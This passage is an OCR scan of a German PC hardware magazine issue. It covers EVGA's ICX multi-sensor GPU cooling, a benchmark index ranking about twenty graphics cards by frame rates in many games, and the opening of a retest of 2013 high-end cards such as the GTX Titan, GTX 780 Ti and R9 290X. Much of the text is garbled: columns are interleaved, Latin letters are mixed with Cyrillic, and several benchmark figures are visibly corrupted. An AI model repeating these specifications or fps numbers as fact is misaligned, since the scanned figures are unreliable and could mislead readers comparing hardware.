eigener Aussage die Hotspots 
auf den Leiterplatten ausge- 


samt neun 


macht und dort die Senso- 
ren installiert. Ihre genaue 
Position und Temperatur 
lässt sich mithilfe des EVGA- 
Tools Precision XOC einsehen. 


Während das Gros der Grafik- 

karten die Kerntemperatur als 
Maß aller Dinge nimmt und anhand 
derer ihre Belüftung einstellt, setzt 
ICX auf eine asynchrone Kühlung, 
sprich: Die beiden Axiallüfter ar- 
beiten nicht als Reihenschaltung 
mit derselben Drehzahl, sondern 
unabhängig voneinander. Zu die- 
sem Zweck trägt die Platine zwei 
Lüfter und Lüfteranschlüsse, ei- 
nen für den GPU-Fan (links, nahe 
der Slotblende) und einen für den 
PWM/RAM-Fan (rechter Lüfter). 
Die Firmware der Grafikkarte liest 
die Sensoren aus und legt anhand 
der jeweils höchsten Tempera- 
tur die Drehzahl pro Lüfter fest, 
welche sich je nach Lastzustand 
deutlich unterscheiden kann. Wer 
möchte, kann die Geschwindigkeit 
der Lüfter innerhalb von Precision 
ХОС einzeln verändern oder eine 
eigene Kurve festlegen. 


Das Paket wird von einer farblichen 
Temperaturanzeige komplettiert, 
welche sich sowohl in Precision 


www.pcgameshardware.de/grafikkarte 


EVGA ICX: Neun Temperatursensoren für ein Halleluja 


XOC als auch an der Oberseite der 
Karte einsehen lässt. Drei Tem- 
peraturwerte zeigen jeweils den 
Hotspot, wobei G für die GPU- 
Temperatur steht, P für die Span- 
nungswandler (Power) und M für 
den Speicher (Memory). Die korre- 
lierenden Farben Blau (kalt, 20 und 
60 °C), Grün (zwischen 60 bis 82 
°C) und Rot (ab 83 °C; Temp Target) 
lassen sich ebenso wie die Tempe- 
raturschwellen verändern. 


Die Temperaturwerte der einzelnen 
Messpunkte schwanken bei unserer 
GTX 1080 ICX SC2 um bis zu 20 °C, 
abhängig von ihrer Nachbarschaft 
zu Hitzequellen. Die Lüftersteue- 
rung nimmt ihre Aufgabe indes zu 
ernst: Ab rund 60 °C beginnt der 
linke (GPU-)Lüfter zu drehen und 
steigert seine Frequenz unter Voll- 
last auf bis zu 1.800 U/min. Die da- 
durch verursachte Geräuschemis- 
sion ist hörbar, aber nicht störend. 
Der Power-Fan rechts daneben ist 
das Problemkind: Melden die Sen- 
soren für VRMs und RAM mehr als 
60 °C, springt er relativ unsanft an, 
dreht auf über 2.000 U/min hoch, 
lässt dann etwas nach und pendelt 
sich unter Dauerlast bei 1.800 bis 
1.900 U/min ein. Das ist angesichts 
der „grünen“ Temperaturen unver- 
ständlich. Hier sollte EVGA noch 
etwas Feintuning betreiben - bis 
dahin lässt sich die Karte jedoch 
bequem mithilfe einer manuellen 
Lüfterkurve zähmen. 


Fazit: Der Aufpreis für die ICX- 
Funktionen soll 30 bis 40 Euro be- 
tragen. Somit richtet sich der Funk- 
tionsumfang an Enthusiasten, die 
alles unter Kontrolle haben möch- 
ten. Spieler, die primär eine hohe 
Leistung oder gar das beste Preis- 
Leistungs-Verhältnis suchen, sind 
hier an der falschen Adresse. Für 
diese Spielergattung bleiben die 
Grafikkarten mit ACX-3.0-Kühlung 
in EVGAs Portfolio. (ru) 


www.pcgameshardware.de 
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GPU-Leistungsindex: Top 20 


IB Gesamt IB FHD В WQHD E UHD 


BESSER > | Normierte Leistung 
| Preis-Leistungs-Index (РІМ): Mehr ist besser 


Titan X 

(Pascal) 

Takt: 1.531 MHz, 10 GT/s 

RAM: 12 GiB GDDR5X 

Preis: Ca. 1.359 € (+0) 
PLV: 30,1 % 


Geforce 
GTX 1080 


Takt: 1.733 MHz, 10 GT/s 

RAM: 8 GiB GDDR5X 

Preis: Ca. 600 € (+0) 
РІМ: 57,5 % 


Geforce 

GTX 1070 

Takt: 1.683 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 400 € (+0) 
PLV: 70,4 % 


Geforce 
GTX 980 Ti 


Takt: 1.075 MHz, 7 GT/s 

RAM: 6 GiB GDDR5 

Preis: Ca. 520 € (+60) 
PLV: 50,2 96 


Radeon 
R9 Fury X 


Takt: 1.050 MHz, 1 GT/s 

RAM: 4 GiB HBM 

Preis: Ca. 420 € (+10) 
PLV: 59,4 % 


ne ШЕР 


Radeon 
R9 390X 


Takt: 1.050 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 360 € (+0) 
PLV: 59,8 % 


Geforce 
GTX 1060/6G 


Takt: 1.709 MHz, 8 GT/s 

RAM: 6 GiB GDDR5 

Preis: Са. 260 € (+0) 
PLV: 78,6 % 


Radeon 

RX 480/8G 

Takt: 1.266 MHz, 8 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 240 € (-10) 
PLV: 83,8 % 


Radeon 

R9 390 

Takt: 1.000 MHz, 6 GT/s 

RAM: 8 GiB GDDR5 

Preis: Ca. 280 € (-20) 
РІМ: 71,1 96 


uus, EHI 


Radeon 

R9 290X 

Takt: 1.000 MHz, 5 GT/s 
ВАМ: 4 GiB GDDR5 


Preis: Nicht lieferbar 
РМ: – 


100 % 


ү ШШ 
к Mii 
ШИШЕНИН 10: % 


CW: 95/87/51 
DMD: 113/79/42 
DM: 198/158/81 
TES: 236/212/130 


A0S: 47/41/33 F1:105/90/62 
ACS: 89/64/36 
Bl: 209/146/83 


C3:120/78/39 


FCP: 105/80/49 
GTA: 69/54/31 


84,3 % 


F04:152/108/55 OW: 221/152/80 


MEC: 114/81/44 TWW: 68/53/32 
ECR: 120/75/36 
W3: 130/92/50 
COP: 50,6 


ROT: 104/75/42 
TIP: 133/102/61 


Radeon 

RX 480/4G 

Takt: 1.266 MHz, 7 GT/s 

RAM: 4 GiB GDDR5 

Preis: Ca. 190 € (-10) 
PLV: 100 % 


г ВЕ 
=G=—cF s 0 ° 
N 


CW: 94/78/38 
DMD: 94/64/34 
DM: 193/133/66 
TES: 227/173/101 


F1: 98/82/53 
FO4: 131/86/44 
FCP: 87/66/39 
GTA: 63/47/25 


AOS: 44/36/30 
ACS: 77/54/29 
BI: 170/121/63 
C3: 95/60/30 


EE een a 


MEC: 97/68/36 
OW: 176/120/63 
ROT: 84/59/31 
ТТР: 105/79/47 


TWW: 67/48/26 
ECR: 94/59/27 
W3: 109/76/40 
СОР: 44,9 


Radeon 
R9 290 


Takt: 947 MHz, 5 GT/s 

RAM: 4 GiB GDDR5 

Preis: Nicht lieferbar 
РМ: – 


НИНИ 72.1. 
ЕЕЕ 
Д 


CW: 93/62/30 
DMD: 75/50/26 F04:106/70/36 
DM: 159/103/51 РСР: 68/51/30 
TES: 197/143/84 СТА: 53/38/20 


А05: 39/29/27 Р1: 81/66/42 
АСЅ: 64/44/24 
ВІ: 143/98/50 


C3: 77/48/24 


МЕС: 77/53/28 
OW: 141/95/50 
ROT: 66/45/24 


TWW: 58/39/21 
ЕСА: 76/47/22 
W3: 87/59/31 


Geforce 

GTX 1060/3G 

Takt: 1.709 MHz, 8 GT/s 
RAM: 3 GiB GDDR5 
Preis: Ca. 200 € (-10) 


=————nr: ; % 
=m: % 
m—— 61,8 % 
ww 


А05: 31/24/22 
ACS: 54/39/21 
ВІ: 143/99/51 
C3: 74/47/23 


CW: 91/58/28 
DMD: 70/48/25 
DM: 146/95/47 
TES: 177/130/77 


F1: 75/62/40 
F04: 100/67/35 
FCP: 60/47/29 
GTA: 45/34/19 


—— s ° 


===—a 60.5 ° 
wr. 


wh ,r 5 


AOS: 34/28/26 
ACS: 49/30/13 
BI: 150/101/53 


CW: 85/59/30 
DMD: 72/49/23 
DM: 170/110/56 


F1: 72/60/41 
F04: 82/57/29 
FCP: 58/47/31 


Д 0j 

TTP: 83/63/37 COP: 41,1 Ру: 89/17 

Radeon 

RX 470/8G 

Takt: 1.205 MHz, 6,6 GT/s 
МЕС: 69/48/20 TWW: 55/38/20 RAM: 8 GiB GDDR5 
OW: 134/90/47 ЕСК: 72/45/21 Preis: Са. 230 Є (-10) 
ROT: 62/44/24 W3: 79/54/29 . o 
TTP: 79/60/35 COP: 37,5 PIN: 76,2% 

Geforce 

GTX 970 

Takt: 1.178 MHz, 7 GT/s 
MEC: 33/24/11 TWW: 46/31/7 RAM: 3,5+0,5 GiB GDDR5* 


OW: 126/88/47 
ROT: 49/37/22 


ECR: 57/38/19 
W3: 75/54/31 


Preis: Ca. 250 € (+20) 


A 0j 
C3: 71/47/24 TES: 132/104/66 СТА: 42/31/14 TTP: 81/62/38 СОР: 59,8 РІМ: 69,1% 
rss 5; 5 
rra BER Radeon 
г — = RX 470/46 
Gww— sss Takt: 1.205 MHz, 6,6 GT/s 
A0S: 29/23/22 CW: 78/51/25 Е1: 61/51/34 МЕС: 50/35/19 TWW: 33/24/13 RAM: 4 GiB GDDR5 


ACS: 39/27/15 DMD: 63/43/23  F04:67/46/24 


OW: 99/68/35 ECR: 46/31/15 


Preis: Ca. 180 € (-10) 


Bl: 124/80/40 DM: 139/91/45 FCP: 50/40/26 ROT: 44/33/19 W3: 54/38/21 РІМ: 95,1 96 
C3:58/38/19 TES: 121/94/59 СТА: 37/28/15 ТТР: 68/53/31 СОР: 56,1 Ee 
SN e, 

SN рер нос 
BR 17,5 % GTX 780 Ti 
p M44 06 Takt: 928 MHz, 7 61% 
A05: 30/21/20 CW: 74/45/21 F1:61/49/31 MEC: 56/38/16 TWW: 43/28/15 RAM: 3 GiB GDDR5 


ACS: 47/31/16 
BI: 113/72/36 


DMD: 54/36/18 
DM: 115/73/36 


F04: 76/50/25 
FCP: 49/37/22 


OW: 100/67/35 
ROT: 46/31/17 


ECR: 53/33/15 
W3: 61/41/22 


Preis: Nicht lieferbar 
РМ: – 


СЗ: 56/35/17 TES: 144/102/58 СТА: 40/28/14 ТТР: 58/44/26 СОР: 32,3 
SN 5.1% 

mr BR беге 
E RE GTX Titan 
www Takt: 875 MHz, 6 GT/s 
А05: 27/22/21 CW: 65/41/20 F1: 63/52/33 MEC: 53/36/19 TWW: 35/24/13 RAM: 6 GiB GDDR5 


ACS: 43/29/15 
BI: 111/70/34 


DMD: 61/40/20 
DM: 145/91/44 


FO4: 65/42/20 
FCP: 46/36/22 


OW: 98/66/34 
ROT: 43/31/18 


ECR: 44/28/13 
W3: 60/41/22 


Preis: Nicht lieferbar 
РМ: – 


C3: 51/32/15 TES: 118/87/51 СТА: 34/24/13 ТТР: 56/43/25 СОР: 46,3 

| EXE 

[C C 5 % Geforce 
ту GTX 780 
wasa Takt: 901 MHz, 6 GT/s 
AOS: 27/22/21 CW: 74/48/23 F1: 55/46/30 MEC: 47/32/18 TWW: 29/21/12 RAM: 3 GiB GDDR5 
ACS: 35/25/14 DMD: 58/40/21 ^ FO4:63/44/23 OW: 89/61/32 ECR: 43/29/14 Preis: Nicht lieferbar 
BI: 114/73/37 DM: 126/82/42 FCP: 46/37/23 ROT: 40/30/17 W3: 48/33/18 РІМ: — 

C3: 54/36/18 TES: 111/85/53 GTA: 34/26/14 TTP: 62/48/29 COP: 54,8 ` 

| [ig 

mÓ—— sa A, Radeon 
ТИНЕ с: 5 R9 280Х 
Kx % Takt: 1.000 MHz, 6 GT/s 
A0S: 26/21/20 CW: 71/46/23 F1: 56/47/31 MEC: 28/20/11 TWW: 29/21/7 RAM: 3 GiB GDDR5 


ACS: 36/23/11 
BI: 111/71/35 
C3: 53/35/17 


DMD: 56/38/19 
DM: 128/83/41 
TES: 113/86/54 


FO4: 60/41/21 
FCP: 46/37/23 
GTA: 34/25/9 


OW: 92/62/31 
ROT: 41/30/18 
ТТР: 61/47/28 


ECR: 42/28/14 
W3: 50/35/19 
COP: 51,7 


Preis: Nicht lieferbar 
РМ: – 


r O 6% 
a: ° 
> 2 

L IU ——k 5 

AOS: 27/21/20 СМЕ 62/40/19 F1: 62/51/32 
ACS: 39/24/12 DMD: 57/38/18 РО4:63/41/19 
BI: 108/68/33 ОМ: 143/90/43 ЕСР: 45/35/21 
C3:49/314 TES: 117/85/50 — GTA 33/23/11 


г 3.7 % 
RN n 
Ы 
[C EZ 
AOS:25/20/19 СМ: 69/43/22 Е1:51/42/27 
ACS: 33/21/11 ОМО: 54/36/18 РО4: 58/40/21 
BI: 106/68/34 DM: 118/77/38 ЕСР: 42/34/22 
C3: 50/33/16 TES: 103/79/49 — GTA:32/23/8 


MEC: 30/22/14 
OW: 96/66/34 
ROT: 42/30/17 
TTP: 55/42/24 


TWW: 34/23/7 
ECR: 43/27/13 
W3: 59/40/21 
COP: 46,3 


MEC: 28/20/11 
OW: 82/57/29 
ROT: 38/28/16 
TIP: 58/44/27 


TWW: 27/20/11 
ECR: 40/26/13 
W3: 45/32/17 
СОР: 48,9 


Ни 5 % 
Ó: 
w 
Css 44 3, 
AOS:27/2003 CW: 70/43/20 
ACS: 45/28/6 ОМ: 47/30/14 

BI: 108/69/34 ОМ: 102/64/26 
С3:53/33/16 TES: 135/96/54 


F1: 55/43/27 
F04: 71/47/23 
FCP: 46/34/20 
GTA: 38/27/6 


MEC: 32/21/11 
OW: 93/62/32 
ROT: 26/15/9 

TTP: 55/41/24 


TWW: 40/25/6 
ECR: 49/30/13 
W3: 57/38/20 
СОР: 31,0 


r п 
ws. 

[ EL 
ss; 
AOS:26/2019 — ot span? — Е1:57/46/29 
ACS: 36/2412 DMD:53/35/18 F04: 58/37/17 


MEC: 47/32/17 
OW: 85/58/29 


TWW: 31/21/11 
ЕСЕ: 39/25/12 


BI: 98/61/30 DM: 121/77/37 FCP: 40/31/19 ROT: 38/2715 W3: 53/36/19 
C3: 45/28/13 TES: 107/78/45  GTA:30/21/11 TTP: 50/38/22 COP: 39,3 
E г: 7 
r: * 3.584 MiB (224 Bit) 
[S 0.5 ; А 

+ 512 MiB (32 Bit) 
88888 35.3 % 


Е1: 56/45/25 
F04: 69/45/23 
FCP: 43/31/17 
GTA: 34/24/7 


МЕС: 31/23/11 
OW: 90/60/31 
ROT: 33/22/13 
TIP: 52/39/22 


TWW: 38/25/11 
ECR: 43/26/12 
W3: 54/37/19 
СОР: 28,5 


А05: 25/18/16 
ACS: 40/26/11 
Bl: 106/67/33 
C3: 50/31/15 


CW: 64/38/18 

DMD: 46/32/16 
DM: 105/66/31 
TES: 122/88/50 


Гг шй 

D E 
ЕУ 
=s 

AOS: 26/2019 ^ CW:57B6/17 F1: 57/46/29 
ACS: 36/24/11 DMD: 52/356 — FO4:58/37/18 
BI: 98/61/30 DM: 121/77/37 FCP:40/32/19 
C3:45/28/14 TES: 107/77/45 — GTA:30/21/0 


=s 
Gs 
[ERE 
N 4: 0- 
A0S:23/18/15 CW: 64/39/19 

ACS: 35/22/77 ОМО: 46/31/15 

BI: 117/76/38 ОМ: 82/52/26 
CX:55/35/16 TES: 122/92/55 


MEC: 28/20/12 
OW: 86/58/30 
ROT: 38/27/10 
TTP: 50/38/23 


TWW: 31/21/7 
ECR: 39/25/12 
W3: 53/36/19 
COP: 39,3 


F1: 52/43/27 
F04: 64/42/20 
FCP: 41/32/19 
GTA: 35/26/7 


МЕС: 28/19/11 
0W: 90/61/31 

ROT: 30/17/12 
TTP: 59/44/26 


TWW: 36/12/4 
ECR: 45/28/12 
W3: 53/38/20 
СОР: 28,0 


lli U 0: 
> 24: 
Г 
! — 36.9 % 
А08:22/1715 — ОМ60З718 F1: 46/39/24 
АС: 32/21/11 DMD: 44/31/16 — FO4:58/38/8 
BI: 109/71/35 ОМ: 76/48/24 ЕСР: 38/30/18 
C3:52/32/15 TES: 116/88/53 GTA: 33/24/13 


MEC: 41/28/13 
OW: 87/58/29 
ROT: 36/26/15 
TIP: 56/42/24 


TWW: 33/23/12 
ECR: 42/25/12 
W3: 48/35/19 
COP: 26,0 


г ҥй 
г шү 
Гг _ 33.5 % 
D ` CC 29.3 % 
AOS:19/15/2 — CW:57135117 
АС5:30/195 DMD:40/26/12 
BI: 103/67/33 DM: 65/42/20 
C3:47/304 ТЕ5:108/81/50 


F1: 44/36/22 
F04: 55/36/18 
FCP: 35/28/16 
GTA: 31/23/6 


MEC: 26/18/8 
OW: 76/51/26 
ROT: 21/16/6 
TTP: 50/37/21 


TWW: 30/12/73 
ECR: 38/23/10 
W3: 45/31/17 
СОР: 21,9 


LEE 
I BEI 
Ни 3,7 % 
Gw 

AOS: 18/1419 CW: 52/34117 

ACS: 28/18/6 ОМО: 40/26/13 

BI: 85/55/27 ОМ: 108/67/32 
С3:38/25/12 ТЕ: 83/63/38 


Р1: 35/30/19 
F04: 41/27/15 
РСР: 33/27/17 
СТА: 26/19/6 


МЕС: 22/17/5 
0W: 66/45/23 
ROT: 27/20/11 
ТТР: 44/35/21 


TWW: 24/17/5 
ECR: 30/20/10 
W3: 37/27/16 
COP: 45,2 


Spiele-/Anwendungsnamen: Ashes о 


System: Core i7-6800K @ 4,4 GHz Ang: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiByte Corsair DDR4-3000 (1T); Windows 10 x64 (1607); anisotroper Texturfilter purus auf „Hohe Qualität” (HQ-AF); Vsync/Framelocks aus 
the See? (AOS), Assassin's Creed Syndicate (ACS), Bioshock Infinite (BI), Crysis 3 (C3), Crysis Warhead (CW), Deus Ex: Mankini 

Far Cry Primal (FCP), Grand Theft Auto 5 (GTA), Mirror's Edge: Catalyst (MEC), Overwatch (OW), Rise of the Tomb Raider (ROT), The Talos Principle (ТТР), Total War: Warhammer DA The dos Scrolls 5: Skyrim (TES), The Vanishing of 
Ethan Carter Redux (ECH), The Witcher 3 (W3), Capture One Pro (COP). Angabe auf die nächste Ganzzahl gerundeter Fps, außer COP (Megapixel/s). Wichtig: Die Anwendungsleistung fließt (nur) in den blauen Gesamt-Index ein. 


Divided ( (DMD), Doom (DM), F1 2016 (F1), Fallout 4 (FO4), 


www.pcgameshardware.de 


04/17 | PC Games Hardware 27 


E GRAFIKKARTEN | Nachtest High-End von 2013 


GPU-Giganten masm 
im Nachtest 


Die Geforce GTX Titan, GTX 780 (Ti) und Radeon R9 290(X) 
setzten im Jahr 2013 die Leistungsmesslatte weit nach 


YE EE EE EH EE EE DE E DE ET ez os 


| AMDA AE, 215-0852000 .. 


oben. Was damit heute noch geht und welches Modell am 


besten gealtert ist, zeigt unser Nachtest. 
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Nachtest High-End von 2013 | GRAFIKKARTEN E 


High-End-Grafikkarten der Jahre 2013 und 2014 im Vergleich mit der aktuellen Mittelklasse 


Modell Geforce Geforce Geforce Geforce Geforce Radeon Radeon Radeon 
GTX 1060 6GB | GTX Titan Black | GTX 780 Ti GTX Titan GTX 780 RX 480 R9 290X R9 290 

Interner Codename GP106-400-A1 GK110-430-B1 | GK110-425-B1 | GK110-400-A1 | GK110-300-A1 Polaris P10 Hawaii XT Hawaii Pro 
Architektur Pascal Kepler Kepler Kepler Kepler GCN 1.3 GCN 1.1 GCN 1.1 
Vorstellung des Chips 07.07.2016 18.02.2014 07.11.2013 19.02.2013 23.05.2013 29.06.2016 15.10.2013 15.10.2013 
Preis Markteinführung (Euro) 319 (Founders Ed.) 899 649 950 649 255 415 349 
Fertigungsprozess (Nanometer) 6FF+ 28 28 28 28 14 28 28 
Anzahl Transistoren (Mio.) 4.400 7.100 7.100 7.100 7.100 5.700 6.200 6.200 
Chip-/Basistakt (MHz) ‚506 889 875 837 863 1.120 = = 
Boost-Takt (MHz) .709 980 928 875 902 1.266 1.000 947 
Speichertakt (MHz) 4.007 3.506 3.506 3.004 3.004 4.000 2.500 2.500 
Shader-Multiprozessoren (SMs) 10 15 15 14 12 36 44 40 
Shader-ALUs .280 2.880 2.880 2.688 2.304 2.304 2.816 2.560 
Textureinheiten (TMUs) 80 240 240 224 192 144 176 160 
Raster-Operatoren (ROPs) 48 48 48 48 48 32 64 64 
Speicherschnittstelle (Bit) 192 384 384 384 384 256 512 512 
Speicherbandbreite (GByte/s) 192,3 336,6 336,6 288,4 288,4 256,0 320,0 320,0 
Speicherbestückung (MiByte) 6.144 6.144 3.072 6.144 3.072 8.192 4.096 4.096 
Rechenleistung SP (GFLOPS) 4375 5.645 5.345 4.709 4.156 5.834 5.632 4.849 
Texelfüllrate (Megatexel/s) 136.720 235.200 222.720 196.224 173.184 182.304 176.000 151.520 
Max. Polygonleistung (Mio./s) 5.697 6.668 6.570 5.859 5.178 5.064 4.000 3.788 
Stromanschluss 1 x 6-Pol, 1 x 6-Pol, 1 x 6-Pol, 1 x 6-Pol, 1 x 6-Pol, 

(Referenzdesign) E 1 x 8-Pol 1 x 8-Pol 1 x 8-Pol 1 x 8-Pol Ve 1 x 8-Pol A 
Leistungsaufnahme 120 150 

(laut ОКТ, їп Watt) (тур. Board Power) 250 (ТОР) 250 (TDP) 250 (ТОР) 250 (TDP) (typ. Board Power) 300 (ТОР) 300 (ТОР) 

ohnt sich das wirklich? Ist der Es war einmal Systeminformationen x 
Aufpreis gerechtfertigt? Diese Das Jahr 2013 begann mit einem Detalllerte Informationen zur NVIDIA Hardware und zum verwendeten System. 

Fragen hat sich jeder Mensch min- Paukenschlag. Im Februar präsen- [©] 

destens ein Mal gestellt. Begrenzte — tierte Nvidia die Geforce GTX Titan Anzeige Komponenten 

Finanzmittel führen dazu, dass wir in Anlehnung an den kurz zuvor en 

ständig das Kosten-Nutzen-Verhält- ins Leben gerufenen Superrech- Betriebssystem: Windows 10 Pro, 64-bit 

nis von Gütern abwägen müssen. ner und Namenspaten aus den Oak DirectX-Laufzeitversion: 12.0 

Das beginnt beim morgendlichen Ridge National Labs. Die Basis bei- Kawasan йе сайа 

Kaffee, führt über elementare der Titanen bildete der High-End- == = 

Anschaffungen - wie einen Kühl- Grafikchip GK110 („Big Kepler“) GeForce GTX 780 Ti Treiberversion: 378.49 ^ 
schrank - und gipfelt für viele Men- mit 2.688 aktiven Shader-Einheiten E EE 

Direct3D-Funktionsebene: 11 0 

schen in Entscheidungen über das und einer 384-Bit Schnittstelle zum CUDA-erne: 2880 

richtige Grundstück für den Haus- Speicher. Was auch heute noch = Se 

bau. Auch unser Lieblings-Hobby, konkurrenzfähig klingt, ließ sich Speicherschnittstelle: 384-Bit 

das Basteln und Spielen am PC, for- Nvidia ungeahnt fürstlich bezah- a " eg - 
dert uns ständig Entscheidungen len: 940 Euro wurden am Launch- « > 
ab: Müssen es immer Ultra-extreme- Tag mindestens fällig, fast das Dop- Info 
Superdetails sein, brauche ich ernst- pelte der nächstkleineren Geforce 

haft ein UHD-Display und kann ich namens GTX 680 mit GK104-GPU. === 
wirklich 1.359 Euro in eine Grafik- 


karte investieren, nur um all das ein 
paar Monate lang flüssig zu erleben? 


Obwohl einige Leser nun freudig 
nickend ihren High-End-PC 
denken, geht die überwiegende 
Mehrheit Kompromisse ein und 
beantwortet die gestellten Fragen 
mit Nein. Dieser Artikel wagt einen 
beispielhaften Blick zurück auf ver- 
gangene Entscheidungen dieser Art 


an 


und welche Konsequenzen sie hat- 
ten. Dabei geht es, wie Sie bereits 
der Einleitung entnommen haben, 
um Grafikkarten, genauer gesagt 
um die Creme de la Creme des Jah- 
res 2013. 


www.pcgameshardware.de 


„Die Titan soll eine Ergänzung für 
Gamer darstellen, die das nötige 
Kleingeld für Annehmlichkeiten 
wie bequemen Single-GPU-Betrieb, 
AFR-Mikroruckler-Freiheit und 
eine leise Kühlung auch in beeng- 
ten Gehäusen hinlegen wollen“, so 
Nvidia. Die GTX Titan etablierte 
mit ihrem Erfolg das Ultra-Hoch- 
preissegment, welches zuvor Dual- 
GPU-Grafikkarten vorbehalten war. 
Nvidia führte als Rechtfertigung 
des titanischen Preisschilds un- 
ter anderem den 6 GiByte großen 
Grafikspeicher an - doppelt so viel 
wie bei der Radeon HD 7970 GHz 
Edition und dreimal mehr als bei 


2013 wurde wild spekuliert, inwiefern das begrenzte Feature-Level die Zukunftsfähig- 
keit der Kepler-GPUs einschränkt. In diesem Test zeigt sich das Ausmaß. 


Doom: Vulkan gegen Open GL 


Doom (2016), Ultra-Details, 1080р, TSSAA 8TX/16:1 AF - „Devil's Dance" 


Radeon R9 290X — Vulkan ВОЗ es 128,5 (+33 %) 
Radeon R9 290X — Open GL ERR ШЕШШ 96,3 (Basis) 


Geforce GTX 780 Ti - Open GL wawww 83,5 (Basis) 
Geforce GTX 780 Ti - Vulkan Egg p 82,1 (-2 96) 


Geforce GTX Titan – Vulkan СО pu 76,3 (+3 %) 
Geforce GTX Titan - Open GL Xs Eu 73,8 (Basis) 


System: Core i7-6800K @ 4,4 GHz, MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 
(1T); Windows 10 x64 (1607), GF 378.49, RS 17.1.2, HQ-AF Bemerkungen: Die Radeon 
R9 290X deklassiert ihre ehemalige Konkurrenz unter Vulkan. 


Mimil 2 Fps 


» Besser 
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der Geforce GTX 680. Diese Kapa- 
zität brachte damals, abseits von 
Extrem-Szenarien respektive im 
Multi-GPU-Betrieb, keine Vorteile. 
Doch das war nur eine Frage der 
Zeit, denn die Spielewelt befand 
sich kurz vor einem bedeutenden 
Umbruch: Mit der neuen Konso- 
len-Generation, welche im ersten 
Halbjahr 2013 präsentiert wurde 
- also beinahe gleichzeitig mit der 
Titan - stand der neue gemeinsa- 
me Nenner für Multi-Plattform- 
Entwicklungen vor der Tür. Zum 
Weihnachtsgeschäft war es dann 
soweit - Sonys Playstation 4 und 
Microsofts Xbox One läuteten die 
neue Ära ein - mit PC-Hardware im 
Inneren, welche deutlich leistungs- 


fähiger war als die Spezialprozes- 
soren der Vorgänger. Vor allem die 
drastisch erhöhte Speicherkapazi- 
tät der neuen Konsolen eröffnete 
neue grafische Möglichkeiten; PS3 
und Xbox 360 waren diesbezüglich 
extrem eingeschränkt, was auf die 
PC-Umsetzungen der damaligen 
Spielegeneration abfärbte. 


Zeiten des Wandels 

Bis zum Durchbruch dauerte es je- 
doch einige Monate. Große Spiele- 
Projekte befinden sich heutzutage 
mehrere Jahre in Entwicklung 
und für gewöhnlich wird am Ende 
nicht alles über den Haufen gewor- 
fen, um die neuesten Technik-Er- 
rungenschaften einzupflegen. Die 


Übergangszeit verlief alles andere 
als reibungslos, wovon vor allem 
der Publisher Ubisoft ein Lied sin- 
gen kann: 2014 veröffentlichten die 
Franzosen mehrere Spiele, welche 
die neuen Möglichkeiten der Kon- 
solen ausnutzten. Bei Watch Dogs 
und Assassin's Creed: Unity wird 
ihnen nachgesagt, sie seien sogar 
etwas zu ambitioniert gewesen, da 
die hohen Systemanforderungen, 
allen voran die Gier nach Speicher, 
von Grafik-Glitches begleitet wur- 
den, bis mehrere Patches Abhilfe 
brachten. Spáter, als immer mehr 
Spiele in den Next-Generation- 
Chor einstimmten, wurde deutlich, 
dass die neuen Konsolen nun den 
Ton in Sachen Hardware angeben. 


Ashes of the Singularity: Hawaii hui, Kepler pfui 


Ashes of the Singularity (v1.41), maximale Details, 1080p, 4x MSAA/16:1 AF - „Scavenger XT" (60 Sekunden) 
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Zeit in Sekunden 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1607), GF 378.49, RS 17.1.2, HQ-AF 
Bemerkungen: Sowohl die Geforce GTX Titan als auch die GTX 780 Ti verlieren beim Wechsel von DX11 auf DX12 etwa fünf Prozent an Leistung. AMDs Radeon R9 290X 
hingegen legt um 14 Prozent zu, womit sie sich von der GTX 780 Ti schlussendlich distanzieren kann. Die Speicherkapazitát spielt in Full HD derweil keine Rolle. 


The Division: DX12 reduziert die Bildrate auf Kepler-Chips 


The Division (v1.5), Ultra-Voreinstellung, 1080p — ,,Madison Field Hospital” (20 Sekunden) 
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Zeit in Sekunden 


System: Core i7-6800K @ 4,4 GHz (Ring/L3: 3,6 GHz), MSI X99A Tomahawk, 4 x 8 GiB Corsair DDR4-3000 (1T); Windows 10 x64 (1607), GF 378.49, RS 17.1.2, HQ-AF 
Bemerkungen: The Division ist zwar nicht Bestandteil des PCGH-Leistungsindex, aber ein regelmäßiger Gast in GPU-Tests. Das Spiel ist seit Ende 2016 DX12-fähig und 
läuft damit auf aktuellen Chips etwas besser als unter DX11. Kepler, hier in Form der GTX Titan und 780 Ti, skaliert unter DX12 negativ. Hawaii hingegen legt messbar zu. 
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Doch zurück ins Jahr 2013: Von 
Februar bis Oktober stand Nvidias 
Titan allein auf weiter Flur, dann 
veróffentlichte AMD den langer- 
sehnten Herausforderer Radeon R9 
290X mit Hawaii-GPU (GCN 1.1). 
Das damalige PCGH-Fazit: „AMDs 
unverbindliche Preisempfehlung 
im Bereich von 475 Euro ist eine 
klare Kampfansage an Nvidia. Kau- 
fen Sie eine Radeon R9 290X, dann 
erhalten Sie eine hóhere Leistung 
als bei der Geforce GTX 780 (ab 
530 Euro) und im Falle eines Wech- 
sels auf den Uber-Mode sogar ein 
Leistungsniveau über der 840 Euro 
teuren GTX Titan.“ 


Nvidias Antwort ließ nicht lange auf 
sich warten, im November erschien 
die GTX 780 Ti und das Gleichge- 
wicht war wiederhergestellt: ,Tat- 
sáchlich fàllt es schwer, im Rahmen 
des PCGH-Index einen klaren Sie- 
ger zu küren, die beiden Grafikkar- 
ten sind ebenbürtig", fasste PCGH 
Während 
Nvidia in Sachen Leistungsaufnah- 
me und Lautheit klar führte, ging 


das Duell zusammen. 


der Preis-Leistungs-Tipp eindeutig 
an AMD, denn die GTX 780 Ti star- 
tete für 649 Euro. Wir prophezei- 
ten damals, dass die 3 GiByte der 
GTX 780 und Ti in naher Zukunft 
zur Spaßbremse werden könnten, 
wohingegen die R9 290X (á GiBy- 
te) und Titan (6 GiByte) besser auf- 
gestellt seien. Als hätte Nvidia auf 
uns gehört, folgte im Februar 2014 
eine GTX 780 Ti mit verdoppel- 
ter Kapazität und etwas höherem 
Chiptakt: die GTX Titan Black. Die 
Leistungskrone ging damit zurück 
nach Kalifornien - für sportliche 
900 Euro. 


Low-Level-Vorstoß 

Direct X, respektive dessen wich- 
tigste Spiele-Komponente Direct 
